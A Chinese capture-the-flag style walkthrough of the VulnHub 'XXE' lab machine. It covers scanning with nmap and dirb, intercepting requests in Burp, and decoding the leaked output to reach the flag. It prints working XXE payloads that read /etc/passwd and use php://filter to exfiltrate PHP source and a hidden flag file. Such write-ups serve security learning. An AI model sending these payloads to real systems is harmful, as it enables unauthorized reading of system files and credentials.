vulnhub-XXE靶机
Posted bingtang123
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vulnhub-XXE靶机相关的知识,希望对你有一定的参考价值。
仅供个人娱乐
靶机信息
靶机下载地址:https://download.vulnhub.com/xxe/XXE.zip
一、主机探测
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-fe900bf555ec51d1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
二、端口服务识别
nmap -sV 192.168.181.149
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-8a6f859a75b0f32f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
存在web端口 打开web界面
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-19eb3615916cddc2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
三、漏洞查找和利用
扫描目录
dirb http://192.168.181.149
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-94a5a72b456b4305.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
打开网页
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-e5b69cf883731c12.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-b4e65d9b2e9ce90e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
打开目录
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-7ebfc33e44bff787.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-35f717ae06055e53.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
使用burp抓包
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-2703641226fdedcd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
(个人)网络问题 靶机 ip改为 192.168.204.130
打开网络http://192.168.204.130/xxe/ 进行抓包
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-19b93928565d1b05.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
发现xxe文件
或者查看源码
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-4794dd798d09f65e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
修改xxe格式读取密码
<?xml version="1.0" encoding="UTF-8"?> #防止乱码
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd"> #读取密码文件
]>
<root><name>&admin;</name><password>1</password></root>
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-6d4e82f2e6030398.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
发现可以抓取密码
原来admin.php页面和源码为
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-a5ba8fa364d66ef2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-7d311ef595ef739c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>1</password></root>
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-7e6cff66367c1967.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
发现admin.php页面源码
返回包进行了加密 使用在线解密
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-d4e1c5d1a492b2c9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
将密码进行cmd5解密
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-7f85295c74c84e9f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
进行登录 登录失败
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-c804afc22d72a75e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-7b62f7c46cc88bfb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
点击flag
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-a99cf9b1baf770af.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
查看源码没有东西
继续寻找有用信息
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-142eb430cb398db5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-3e5e1b954d6a466e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
查看源码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>&admin;</name><password>1</password></root>
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-6ea870daacaa995b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
复制base64解码
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-3809e8d65faac60d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
使用各种方式 解密 最后 base32密码解密
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-8b93f2ce9c32413e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
使用base64解密
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-3312904ba44222ad.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
抓包修改参数flag.php 出现乱码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/.flag.php">
]>
<root><name>&admin;</name><password>1</password></root>
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-768ad4afef12ff1f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
查看源码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>1</password></root>
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-faad54e096968853.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
使用base64解码 失败
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-cd6607e2721b6136.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
最终使用phpstudy,开启错误显示,本地访问这个webshell得到了flag
以上是关于vulnhub-XXE靶机的主要内容,如果未能解决你的问题,请参考以下文章